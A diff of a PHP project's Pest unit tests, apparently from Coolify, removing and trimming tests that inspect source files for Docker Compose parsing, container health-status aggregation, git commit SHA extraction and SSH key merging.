it('ensures label parsing handles array values from YAML', function () {
|
||||
// Read the parseDockerComposeFile function from shared.php
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Check that array handling is present before str() call
|
||||
expect($sharedFile)
|
||||
->toContain('// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)')
|
||||
->toContain('if (is_array($serviceLabel)) {');
|
||||
});
|
||||
|
||||
it('ensures label parsing converts array values to strings', function () {
|
||||
// Read the parseDockerComposeFile function from shared.php
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Check that array to string conversion exists
|
||||
expect($sharedFile)
|
||||
->toContain('// Convert array values to strings')
|
||||
->toContain('if (is_array($removedLabel)) {')
|
||||
->toContain('$removedLabel = (string) collect($removedLabel)->first();');
|
||||
});
|
||||
|
||||
it('falls back to the template port for service application proxy labels', function () {
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Proxy labels for service applications use the per-service routing port...
|
||||
expect($sharedFile)->toContain(
|
||||
"? \$savedService->getRequiredPort()\n : \$predefinedPort;"
|
||||
);
|
||||
|
||||
// ...which falls back to the one-click template port for HTTP-facing services
|
||||
$serviceApplicationFile = file_get_contents(__DIR__.'/../../app/Models/ServiceApplication.php');
|
||||
expect($serviceApplicationFile)
|
||||
->toContain('if ($declaresHttpUrl) {')
|
||||
->toContain('return $this->service->getRequiredPort();');
|
||||
});
|
||||
|
||||
it('verifies label parsing array check occurs before preg_match', function () {
|
||||
// Read the parseDockerComposeFile function from shared.php
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Get the position of array check and str() call
|
||||
$arrayCheckPos = strpos($sharedFile, 'if (is_array($serviceLabel)) {');
|
||||
$strCallPos = strpos($sharedFile, "str(\$serviceLabel)->contains('=')");
|
||||
|
||||
// Ensure array check comes before str() call
|
||||
expect($arrayCheckPos)
|
||||
->toBeLessThan($strCallPos)
|
||||
->toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('ensures traefik middleware parsing handles array values in docker.php', function () {
|
||||
// Read the fqdnLabelsForTraefik function from docker.php
|
||||
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
|
||||
|
||||
// Check that array handling is present before preg_match
|
||||
expect($dockerFile)
|
||||
->toContain('// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)')
|
||||
->toContain('if (is_array($item)) {');
|
||||
});
|
||||
|
||||
it('ensures traefik middleware parsing checks string type before preg_match in docker.php', function () {
|
||||
// Read the fqdnLabelsForTraefik function from docker.php
|
||||
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
|
||||
|
||||
// Check that string type check exists
|
||||
expect($dockerFile)
|
||||
->toContain('if (! is_string($item)) {')
|
||||
->toContain('return null;');
|
||||
});
|
||||
|
||||
it('verifies array check occurs before preg_match in traefik middleware parsing', function () {
|
||||
// Read the fqdnLabelsForTraefik function from docker.php
|
||||
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
|
||||
|
||||
// Get the position of array check and preg_match call
|
||||
$arrayCheckPos = strpos($dockerFile, 'if (is_array($item)) {');
|
||||
$pregMatchPos = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item");
|
||||
|
||||
// Ensure array check comes before preg_match call (find first occurrence after array check)
|
||||
$pregMatchAfterArrayCheck = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item", $arrayCheckPos);
|
||||
expect($arrayCheckPos)
|
||||
->toBeLessThan($pregMatchAfterArrayCheck)
|
||||
->toBeGreaterThan(0);
|
||||
});
|
||||
@@ -1,110 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that docker_compose_raw only has content: removed from volumes,
|
||||
* while docker_compose contains all Coolify additions (labels, environment variables, networks).
|
||||
*
|
||||
* These tests verify the fix for the issue where docker_compose_raw was being set to the
|
||||
* fully processed compose (with Coolify labels, networks, etc.) instead of keeping it clean
|
||||
* with only content: fields removed.
|
||||
*/
|
||||
it('ensures applicationParser stores original compose before processing', function () {
|
||||
// Read the applicationParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that originalCompose is stored at the start of the function
|
||||
expect($parsersFile)
|
||||
->toContain('$compose = data_get($resource, \'docker_compose_raw\');')
|
||||
->toContain('// Store original compose for later use to update docker_compose_raw with content removed')
|
||||
->toContain('$originalCompose = $compose;');
|
||||
});
|
||||
|
||||
it('ensures serviceParser stores original compose before processing', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that originalCompose is stored at the start of the function
|
||||
expect($parsersFile)
|
||||
->toContain('function serviceParser(Service $resource): Collection')
|
||||
->toContain('$compose = data_get($resource, \'docker_compose_raw\');')
|
||||
->toContain('// Store original compose for later use to update docker_compose_raw with content removed')
|
||||
->toContain('$originalCompose = $compose;');
|
||||
});
|
||||
|
||||
it('ensures applicationParser updates docker_compose_raw from original compose, not cleaned compose', function () {
|
||||
// Read the applicationParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that docker_compose_raw is set from originalCompose, not cleanedCompose
|
||||
expect($parsersFile)
|
||||
->toContain('$originalYaml = Yaml::parse($originalCompose);')
|
||||
->toContain("\$resource->docker_compose_raw = removeComposeVolumeFieldsPreservingComments(\$originalCompose, \$originalYaml, ['content', 'isDirectory', 'is_directory']);")
|
||||
->not->toContain('$resource->docker_compose_raw = $cleanedCompose;');
|
||||
});
|
||||
|
||||
it('ensures serviceParser updates docker_compose_raw from original compose, not cleaned compose', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Find the serviceParser function content
|
||||
$serviceParserStart = strpos($parsersFile, 'function serviceParser(Service $resource): Collection');
|
||||
$serviceParserContent = substr($parsersFile, $serviceParserStart);
|
||||
|
||||
// Check that docker_compose_raw is set from originalCompose within serviceParser
|
||||
expect($serviceParserContent)
|
||||
->toContain('$originalYaml = Yaml::parse($originalCompose);')
|
||||
->toContain("\$resource->docker_compose_raw = removeComposeVolumeFieldsPreservingComments(\$originalCompose, \$originalYaml, ['content', 'isDirectory', 'is_directory']);")
|
||||
->not->toContain('$resource->docker_compose_raw = $cleanedCompose;');
|
||||
});
|
||||
|
||||
it('ensures applicationParser removes content, isDirectory, and is_directory from volumes', function () {
|
||||
// Read the applicationParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that content removal logic exists
|
||||
expect($parsersFile)
|
||||
->toContain('// Remove content, isDirectory, and is_directory from all volume definitions')
|
||||
->toContain("unset(\$volume['content']);")
|
||||
->toContain("unset(\$volume['isDirectory']);")
|
||||
->toContain("unset(\$volume['is_directory']);");
|
||||
});
|
||||
|
||||
it('ensures serviceParser removes content, isDirectory, and is_directory from volumes', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Find the serviceParser function content
|
||||
$serviceParserStart = strpos($parsersFile, 'function serviceParser(Service $resource): Collection');
|
||||
$serviceParserContent = substr($parsersFile, $serviceParserStart);
|
||||
|
||||
// Check that content removal logic exists within serviceParser
|
||||
expect($serviceParserContent)
|
||||
->toContain('// Remove content, isDirectory, and is_directory from all volume definitions')
|
||||
->toContain("unset(\$volume['content']);")
|
||||
->toContain("unset(\$volume['isDirectory']);")
|
||||
->toContain("unset(\$volume['is_directory']);");
|
||||
});
|
||||
|
||||
it('ensures docker_compose_raw update is wrapped in try-catch for error handling', function () {
|
||||
// Read the parsers file
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that docker_compose_raw update has error handling
|
||||
expect($parsersFile)
|
||||
->toContain('// Update docker_compose_raw to remove content: from volumes only')
|
||||
->toContain('// This keeps the original user input clean while preventing content reapplication')
|
||||
->toContain('try {')
|
||||
->toContain('$originalYaml = Yaml::parse($originalCompose);')
|
||||
->toContain('} catch (Exception) {')
|
||||
->toContain('// If parsing fails, keep the original docker_compose_raw unchanged');
|
||||
});
|
||||
|
||||
it('does not reformat legacy raw Compose when no content is removed', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
$parser = substr($source, strpos($source, 'function parseDockerComposeFile('), strpos($source, 'function generate_fluentd_configuration(') - strpos($source, 'function parseDockerComposeFile('));
|
||||
|
||||
expect($parser)
|
||||
->toContain('if ($yaml !== $originalYaml) {')
|
||||
->toContain("data_forget(\$yaml, 'services.*.volumes.*.content')");
|
||||
expect(substr_count($parser, "\$resource->docker_compose_raw = removeComposeVolumeFieldsPreservingComments(\$resource->docker_compose_raw, \$yaml, ['content']);"))->toBe(1);
|
||||
});
|
||||
@@ -1,131 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that applications and services with all containers
|
||||
* excluded from health checks (exclude_from_hc: true) show correct status.
|
||||
*
|
||||
* These tests verify the fix for the issue where services with all containers
|
||||
* excluded would show incorrect status, causing broken UI state.
|
||||
*
|
||||
* The fix now returns status with :excluded suffix to show real container state
|
||||
* while indicating monitoring is disabled (e.g., "running:excluded").
|
||||
*/
|
||||
it('ensures ComplexStatusCheck returns excluded status when all containers excluded', function () {
|
||||
$complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
|
||||
|
||||
// Check that when all containers are excluded, ComplexStatusCheck uses the trait
|
||||
expect($complexStatusCheckFile)
|
||||
->toContain('// If all containers are excluded, calculate status from excluded containers')
|
||||
->toContain('// but mark it with :excluded to indicate monitoring is disabled')
|
||||
->toContain('if ($relevantContainers->isEmpty()) {')
|
||||
->toContain('return $this->calculateExcludedStatus($containers, $excludedContainers);');
|
||||
|
||||
// Check that the trait uses ContainerStatusAggregator and appends :excluded suffix
|
||||
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
|
||||
expect($traitFile)
|
||||
->toContain('ContainerStatusAggregator')
|
||||
->toContain('appendExcludedSuffix')
|
||||
->toContain('$aggregator->aggregateFromContainers($excludedOnly)')
|
||||
->toContain("return 'degraded:excluded';")
|
||||
->toContain("return 'paused:excluded';")
|
||||
->toContain("return 'exited';")
|
||||
->toContain('return "$status:excluded";'); // For running:healthy:excluded
|
||||
});
|
||||
|
||||
it('ensures Service model returns excluded status when all services excluded', function () {
|
||||
$serviceModelFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
|
||||
|
||||
// Check that when all services are excluded from status checks,
|
||||
// the Service model calculates real status and returns it with :excluded suffix
|
||||
expect($serviceModelFile)
|
||||
->toContain('exclude_from_status')
|
||||
->toContain(':excluded')
|
||||
->toContain('CalculatesExcludedStatus');
|
||||
});
|
||||
|
||||
it('ensures Service model returns unknown:unknown:excluded when no containers exist', function () {
|
||||
$serviceModelFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
|
||||
|
||||
// Check that when a service has no applications or databases at all,
|
||||
// the Service model returns 'unknown:unknown:excluded' instead of 'exited'
|
||||
// This prevents misleading status display when containers don't exist
|
||||
expect($serviceModelFile)
|
||||
->toContain('// If no status was calculated at all (no containers exist), return unknown')
|
||||
->toContain('if ($excludedStatus === null && $excludedHealth === null) {')
|
||||
->toContain("return 'unknown:unknown:excluded';");
|
||||
});
|
||||
|
||||
it('ensures GetContainersStatus calculates excluded status when all containers excluded', function () {
|
||||
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Check that when all containers are excluded, the aggregateApplicationStatus
|
||||
// method calculates and returns status with :excluded suffix
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('// If all containers are excluded, calculate status from excluded containers')
|
||||
->toContain('if ($relevantStatuses->isEmpty()) {')
|
||||
->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
|
||||
});
|
||||
|
||||
it('ensures exclude_from_hc flag is properly checked in ComplexStatusCheck', function () {
|
||||
$complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
|
||||
|
||||
// Verify that exclude_from_hc is parsed using trait helper
|
||||
expect($complexStatusCheckFile)
|
||||
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
|
||||
});
|
||||
|
||||
it('ensures exclude_from_hc flag is properly checked in GetContainersStatus', function () {
|
||||
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Verify that exclude_from_hc is parsed using trait helper
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
|
||||
});
|
||||
|
||||
/**
|
||||
* Unit tests for YAML validation in CalculatesExcludedStatus trait
|
||||
*/
|
||||
it('ensures YAML validation has proper exception handling for parse errors', function () {
|
||||
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
|
||||
|
||||
// Verify that ParseException is imported and caught separately from generic Exception
|
||||
expect($traitFile)
|
||||
->toContain('use Symfony\Component\Yaml\Exception\ParseException')
|
||||
->toContain('use Illuminate\Support\Facades\Log')
|
||||
->toContain('} catch (ParseException $e) {')
|
||||
->toContain('} catch (\Exception $e) {');
|
||||
});
|
||||
|
||||
it('ensures YAML validation logs parse errors with context', function () {
|
||||
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
|
||||
|
||||
// Verify that parse errors are logged with useful context (error message, line, snippet)
|
||||
expect($traitFile)
|
||||
->toContain('Log::warning(\'Failed to parse Docker Compose YAML for health check exclusions\'')
|
||||
->toContain('\'error\' => $e->getMessage()')
|
||||
->toContain('\'line\' => $e->getParsedLine()')
|
||||
->toContain('\'snippet\' => $e->getSnippet()');
|
||||
});
|
||||
|
||||
it('ensures YAML validation logs unexpected errors', function () {
|
||||
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
|
||||
|
||||
// Verify that unexpected errors are logged with error level
|
||||
expect($traitFile)
|
||||
->toContain('Log::error(\'Unexpected error parsing Docker Compose YAML\'')
|
||||
->toContain('\'trace\' => $e->getTraceAsString()');
|
||||
});
|
||||
|
||||
it('ensures YAML validation checks structure after parsing', function () {
|
||||
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
|
||||
|
||||
// Verify that parsed result is validated to be an array
|
||||
expect($traitFile)
|
||||
->toContain('if (! is_array($dockerCompose)) {')
|
||||
->toContain('Log::warning(\'Docker Compose YAML did not parse to array\'');
|
||||
|
||||
// Verify that services is validated to be an array
|
||||
expect($traitFile)
|
||||
->toContain('if (! is_array($services)) {')
|
||||
->toContain('Log::warning(\'Docker Compose services is not an array\'');
|
||||
});
|
||||
@@ -51,27 +51,6 @@ test('file storage rejects reverse shell payload', function () {
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage escapes paths properly', function () {
|
||||
$path = "/var/www/app's data";
|
||||
$escaped = escapeshellarg($path);
|
||||
|
||||
expect($escaped)->toBe("'/var/www/app'\\''s data'");
|
||||
});
|
||||
|
||||
test('file storage escapes paths with spaces', function () {
|
||||
$path = '/var/www/my app/data';
|
||||
$escaped = escapeshellarg($path);
|
||||
|
||||
expect($escaped)->toBe("'/var/www/my app/data'");
|
||||
});
|
||||
|
||||
test('file storage escapes paths with special characters', function () {
|
||||
$path = '/var/www/app (production)/data';
|
||||
$escaped = escapeshellarg($path);
|
||||
|
||||
expect($escaped)->toBe("'/var/www/app (production)/data'");
|
||||
});
|
||||
|
||||
test('file storage accepts legitimate absolute paths', function () {
|
||||
expect(fn () => validateShellSafePath('/var/www/app', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
@@ -211,14 +190,6 @@ test('local file volume write sink keeps saved managed file paths for compatibil
|
||||
->and($source)->toContain('tee {$escapedPath}');
|
||||
});
|
||||
|
||||
test('host file mounts are bind-only and skipped by server storage writes', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Models/LocalFileVolume.php');
|
||||
|
||||
expect($source)->toContain('if ($this->is_host_file) {')
|
||||
->and($source)->toContain('return;')
|
||||
->and($source)->toContain('tee {$escapedPath}');
|
||||
});
|
||||
|
||||
test('file storage quotes owner and mode as single command arguments', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Models/LocalFileVolume.php');
|
||||
|
||||
@@ -236,13 +207,3 @@ test('file storage permissions cannot be set by mass assignment', function () {
|
||||
expect($volume->chown)->toBeNull()
|
||||
->and($volume->chmod)->toBeNull();
|
||||
});
|
||||
|
||||
test('internal SSL files retain their private and public modes', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Helpers/SslHelper.php');
|
||||
|
||||
expect($source)
|
||||
->toContain("\$fileStorage->chmod = '600';")
|
||||
->toContain("\$fileStorage->chmod = '644';")
|
||||
->toContain('$fileStorage->save();')
|
||||
->not->toContain("'chmod' =>");
|
||||
});
|
||||
|
||||
@@ -1,54 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests verifying that GetContainersStatus has empty container
|
||||
* safeguards for ALL resource types (applications, previews, databases, services).
|
||||
*
|
||||
* When Docker queries fail and return empty container lists, resources should NOT
|
||||
* be falsely marked as "exited". This was originally added for applications and
|
||||
* previews (commit 684bd823c) but was missing for databases and services.
|
||||
*
|
||||
* @see https://github.com/coollabsio/coolify/issues/8826
|
||||
*/
|
||||
it('has empty container safeguard for applications', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// The safeguard should appear before marking applications as exited
|
||||
expect($actionFile)
|
||||
->toContain('$notRunningApplications = $this->applications->pluck(\'id\')->diff($foundApplications);');
|
||||
|
||||
// Count occurrences of the safeguard pattern in the not-found sections
|
||||
$safeguardPattern = '// Only protection: If no containers at all, Docker query might have failed';
|
||||
$safeguardCount = substr_count($actionFile, $safeguardPattern);
|
||||
|
||||
// Should appear at least 4 times: applications, previews, databases, services
|
||||
expect($safeguardCount)->toBeGreaterThanOrEqual(4);
|
||||
});
|
||||
|
||||
it('has empty container safeguard for databases', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Extract the database not-found section
|
||||
$databaseSectionStart = strpos($actionFile, '$notRunningDatabases = $databases->pluck(\'id\')->diff($foundDatabases);');
|
||||
expect($databaseSectionStart)->not->toBeFalse('Database not-found section should exist');
|
||||
|
||||
// Get the code between database section start and the next major section
|
||||
$databaseSection = substr($actionFile, $databaseSectionStart, 500);
|
||||
|
||||
// The empty container safeguard must exist in the database section
|
||||
expect($databaseSection)->toContain('$this->containers->isEmpty()');
|
||||
});
|
||||
|
||||
it('has empty container safeguard for services', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Extract the service exited section
|
||||
$serviceSectionStart = strpos($actionFile, '$exitedServices = $exitedServices->unique(\'uuid\');');
|
||||
expect($serviceSectionStart)->not->toBeFalse('Service exited section should exist');
|
||||
|
||||
// Get the code in the service exited loop
|
||||
$serviceSection = substr($actionFile, $serviceSectionStart, 500);
|
||||
|
||||
// The empty container safeguard must exist in the service section
|
||||
expect($serviceSection)->toContain('$this->containers->isEmpty()');
|
||||
});
|
||||
@@ -2,86 +2,10 @@
|
||||
|
||||
use App\Services\ContainerStatusAggregator;
|
||||
|
||||
/**
|
||||
* Unit tests for GetContainersStatus service aggregation logic (SSH path).
|
||||
*
|
||||
* These tests verify that the SSH-based status updates (GetContainersStatus)
|
||||
* correctly aggregates container statuses for services with multiple containers,
|
||||
* using the same logic as PushServerUpdateJob (Sentinel path).
|
||||
*
|
||||
* This ensures consistency across both status update paths and prevents
|
||||
* race conditions where the last container processed wins.
|
||||
*/
|
||||
it('implements service multi-container aggregation in SSH path', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Verify service container collection property exists
|
||||
expect($actionFile)
|
||||
->toContain('protected ?Collection $serviceContainerStatuses;');
|
||||
|
||||
// Verify aggregateServiceContainerStatuses method exists
|
||||
expect($actionFile)
|
||||
->toContain('private function aggregateServiceContainerStatuses($services)')
|
||||
->toContain('$this->aggregateServiceContainerStatuses($services);');
|
||||
|
||||
// Verify service aggregation uses the shared aggregator, like applications
|
||||
expect($actionFile)
|
||||
->toContain('use App\\Services\\ContainerStatusAggregator;')
|
||||
->toContain('$aggregator = new ContainerStatusAggregator;');
|
||||
});
|
||||
|
||||
it('services use same priority as applications in SSH path', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Both aggregation methods delegate the priority logic to ContainerStatusAggregator
|
||||
expect($actionFile)
|
||||
->toContain('return $aggregator->aggregateFromStrings($relevantStatuses, $maxRestartCount, preserveRestarting: true);')
|
||||
->toContain('$aggregatedStatus = $aggregator->aggregateFromStrings($relevantStatuses, preserveRestarting: true);');
|
||||
|
||||
// The shared aggregator prioritizes unhealthy > unknown > healthy
|
||||
$aggregator = new ContainerStatusAggregator;
|
||||
expect($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (unknown)', 'running (unhealthy)'])))->toBe('running:unhealthy')
|
||||
->and($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (unknown)'])))->toBe('running:unknown')
|
||||
->and($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (healthy)'])))->toBe('running:healthy');
|
||||
});
|
||||
|
||||
it('collects service containers before aggregating in SSH path', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Verify service containers are collected, not immediately updated
|
||||
expect($actionFile)
|
||||
->toContain('$key = $serviceLabelId.\':\'.$subType.\':\'.$subId;')
|
||||
->toContain('$this->serviceContainerStatuses->get($key)->put($containerName, $containerStatus);');
|
||||
|
||||
// Verify aggregation happens before ServiceChecked dispatch
|
||||
expect($actionFile)
|
||||
->toContain('$this->aggregateServiceContainerStatuses($services);')
|
||||
->toContain('ServiceChecked::dispatch($this->server->team->id);');
|
||||
});
|
||||
|
||||
it('SSH and Sentinel paths use identical service aggregation logic', function () {
|
||||
$jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Both paths delegate status aggregation to the same shared service
|
||||
foreach ([$jobFile, $actionFile] as $file) {
|
||||
expect($file)
|
||||
->toContain('use App\\Services\\ContainerStatusAggregator;')
|
||||
->toContain('$aggregator = new ContainerStatusAggregator;')
|
||||
->toContain('$aggregator->aggregateFromStrings($relevantStatuses,')
|
||||
->toContain('preserveRestarting: true);');
|
||||
}
|
||||
});
|
||||
|
||||
it('handles service status updates consistently', function () {
|
||||
$jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Both should parse service key with same format
|
||||
expect($jobFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);');
|
||||
expect($actionFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);');
|
||||
|
||||
// Both should handle excluded containers through the shared trait helper
|
||||
expect($jobFile)->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
|
||||
expect($actionFile)->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
|
||||
});
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
<?php
|
||||
|
||||
uses(\Tests\TestCase::class);
|
||||
|
||||
it('extracts commit SHA from git ls-remote output without warnings', function () {
|
||||
$output = "196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('extracts commit SHA from git ls-remote output with redirect warning on separate line', function () {
|
||||
$output = "warning: redirecting to https://tangled.org/@tangled.org/core/\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('extracts commit SHA from git ls-remote output with redirect warning on same line', function () {
|
||||
// This is the actual format from tangled.sh - warning and result on same line, no newline
|
||||
$output = "warning: redirecting to https://tangled.org/@tangled.org/core/196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('extracts commit SHA from git ls-remote output with multiple warning lines', function () {
|
||||
$output = "warning: redirecting to https://example.org/repo/\ninfo: some other message\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/main";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('handles git ls-remote output with extra whitespace', function () {
|
||||
$output = " 196d3df7665359a8c8fa3329a6bcde0267e550bf \trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('extracts commit SHA with uppercase letters and normalizes to lowercase', function () {
|
||||
$output = "196D3DF7665359A8C8FA3329A6BCDE0267E550BF\trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
// Git SHAs are case-insensitive, so we normalize to lowercase for comparison
|
||||
expect(strtolower($commit))->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
|
||||
});
|
||||
|
||||
it('returns null when no commit SHA is present in output', function () {
|
||||
$output = "warning: redirecting to https://example.org/repo/\nError: repository not found";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBeNull();
|
||||
});
|
||||
|
||||
it('returns null when output has tab but no valid SHA', function () {
|
||||
$output = "invalid-sha-format\trefs/heads/master";
|
||||
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
$commit = $matches[1] ?? null;
|
||||
|
||||
expect($commit)->toBeNull();
|
||||
});
|
||||
@@ -1,53 +0,0 @@
|
||||
<?php
|
||||
|
||||
it('merges Coolify key with selected Hetzner keys', function () {
|
||||
$coolifyKeyId = 123;
|
||||
$selectedHetznerKeys = [456, 789];
|
||||
|
||||
// Simulate the merge logic from createHetznerServer
|
||||
$sshKeys = array_merge(
|
||||
[$coolifyKeyId],
|
||||
$selectedHetznerKeys
|
||||
);
|
||||
|
||||
expect($sshKeys)->toBe([123, 456, 789])
|
||||
->and(count($sshKeys))->toBe(3);
|
||||
});
|
||||
|
||||
it('removes duplicate SSH key IDs', function () {
|
||||
$coolifyKeyId = 123;
|
||||
$selectedHetznerKeys = [123, 456, 789]; // User also selected Coolify key
|
||||
|
||||
// Simulate the merge and deduplication logic
|
||||
$sshKeys = array_merge(
|
||||
[$coolifyKeyId],
|
||||
$selectedHetznerKeys
|
||||
);
|
||||
$sshKeys = array_unique($sshKeys);
|
||||
$sshKeys = array_values($sshKeys);
|
||||
|
||||
expect($sshKeys)->toBe([123, 456, 789])
|
||||
->and(count($sshKeys))->toBe(3);
|
||||
});
|
||||
|
||||
it('works with no selected Hetzner keys', function () {
|
||||
$coolifyKeyId = 123;
|
||||
$selectedHetznerKeys = [];
|
||||
|
||||
// Simulate the merge logic
|
||||
$sshKeys = array_merge(
|
||||
[$coolifyKeyId],
|
||||
$selectedHetznerKeys
|
||||
);
|
||||
|
||||
expect($sshKeys)->toBe([123])
|
||||
->and(count($sshKeys))->toBe(1);
|
||||
});
|
||||
|
||||
it('validates SSH key IDs are integers', function () {
|
||||
$selectedHetznerKeys = [456, 789, 1011];
|
||||
|
||||
foreach ($selectedHetznerKeys as $keyId) {
|
||||
expect($keyId)->toBeInt();
|
||||
}
|
||||
